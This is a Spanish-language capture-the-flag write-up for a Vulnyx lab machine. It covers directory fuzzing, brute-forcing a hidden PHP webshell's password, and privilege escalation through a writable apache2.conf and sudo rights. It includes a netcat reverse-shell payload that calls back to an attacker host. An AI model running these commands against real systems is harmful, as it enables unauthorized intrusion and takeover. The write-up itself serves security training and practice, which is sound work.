Uyyy Quieto, ¿A donde vas sin tu CTF?
Pero antes gracias al autor del CTF d4t4s3c y a la comunidad de Vulnyx por hacer esto posible.
Descripción de la maquina.
Sistema Operativo | Linux 🐧 |
Dificultad | Difícil |
Lanzamiento | 26/04/0023 |
Creador | d4t4s3c |
Primer Usuario | noname |
Primer Root | noname |
Enumeración
¿Empezamos con nmap
?
Exploremos el servicio web.
Bueno, tenemos una pagina por defecto de apache2
, vamos a realizar un fuzzing
en busca de directorios o archivos.
gobuster dir -u http://192.168.1.73/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,js,css,txt -t 100
Aaah y tenemos una ruta interesante, veamos.
Bueno, no tenemos nada, pero seguiremos con un fuzzing
bajo este directorio.
gobuster dir -u http://192.168.1.73/Backdoor/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,js,css,txt -t 100
Pero no obtuve nada, quizás nos hemos equivocado de diccionario, probemos con una lista que este relacionado con los backdoors.
gobuster dir -u http://192.168.1.73/Backdoor/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -t 100
Encontramos algo, veamos.
Y al parecer este servicio web cuenta con una webshell
, ¿Quizás y reciba algún parámetro?
Pero ya te aviso que debes de tener algo de intuición, ya que si recibe contenido, pero por POST.
¿Ahora como descubre que variables enviar por POST?
Con algo de suerte e intuición, no lo olvides... Pero te puedo adelantar que las variables son password
y cmd
Si usted envía estas variables con algún valor random no obtendrá un resultado diferente, de tal manera que los hace complicado que lo haya encontrado por medio de un fuzzing
Pero en cambio si aplica un fuzzing
a la variable password
, eventualmente conseguirá algo.
wfuzz -c --hh=34 -w /usr/share/wordlists/rockyou.txt -d 'password=FUZZ&cmd=id' -u 'http://192.168.1.73/Backdoor/php-backdoor.php'
La cual si probamos, obtenemos esto.
Así que nos enviamos una shell
.
password=newpassword&cmd=nc${IFS}-e${IFS}/bin/bash${IFS}192.168.1.72${IFS}8003
Y estamos dentro.
Escalada de privilegios
Somos el usuario por defecto de apache2(www-data)
, pero tenemos otro usuario en el sistema.
Explorando el sistema me encuentro que tenemos permisos de escritura en el archivo apache2.conf
¿Que podemos hacer con esto?
Podemos modificar el usuario quien corre el servicio de apache2, actualmente es manejado por www-data
.
Pero vamos a cambiarlo, por el usuario rootkit
Entonces ahora como rootkit
esta a cargo de los servicios de apache2, podemos enviarnos nuevamente una shell
, con la diferencia que recibiremos una shell
de rootkit
.
Pero... Aun falta aplicar los cambios del archivo apache2.conf
, y para esto debemos de tener permisos privilegiados.
Perooo, abusaremos de un permiso sudo para aplicar dichos cambios.
Ya que como puede ver, podemos hacer uso del comando reboot
, al reiniciar la maquina pues los servicios también lo hacen y ahí es donde se aplicara la modificación que realizamos.
Ahora si, vamos a por esa shell
.
¿Perfecto, no? continuando con la enumeración tenemos el siguiente permiso sudo.
Si bien no podemos abusar de este binario buscando algo en gtfobins. Le recomiendo que busque en las funciones del binario, un help
siempre estará disponible.
Como la simple función de ejecutar un comando, y claro esto se ejecutara como root
.
Y ahí lo tenemos. Hemos terminado señor, nos vemos!!
Referencias